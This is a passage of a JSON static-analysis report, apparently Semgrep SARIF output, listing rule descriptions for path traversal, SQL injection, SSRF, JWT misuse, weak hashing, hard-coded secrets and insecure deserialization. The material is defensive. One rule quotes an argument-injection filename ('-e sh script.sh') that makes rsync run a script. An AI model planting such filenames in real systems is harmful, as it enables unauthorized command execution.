[https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","id":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","name":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.django.security.nan-injection.nan-injection","id":"python.django.security.nan-injection.nan-injection","name":"python.django.security.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/sql.html](https://www.psycopg.org/docs/sql.html)\n","text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","id":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","name":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"help":{"markdown":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected)\n - [https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt](https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)\n","text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","id":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","name":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","properties":{"precision":"very-high","tags":["CWE-155: Improper Neutralization of Wildcards or Matching Symbols","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.system-wildcard-detected.system-wildcard-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","id":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","name":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"help":{"markdown":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse","id":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","name":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-fileresponse.request-data-fileresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","id":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","name":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","id":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","name":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","id":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","name":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"help":{"markdown":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","id":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","name":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","id":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","name":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint","id":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","name":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"help":{"markdown":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","id":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","name":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"help":{"markdown":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges)\n - [https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges","id":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","name":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.no-new-privileges.no-new-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring)\n - 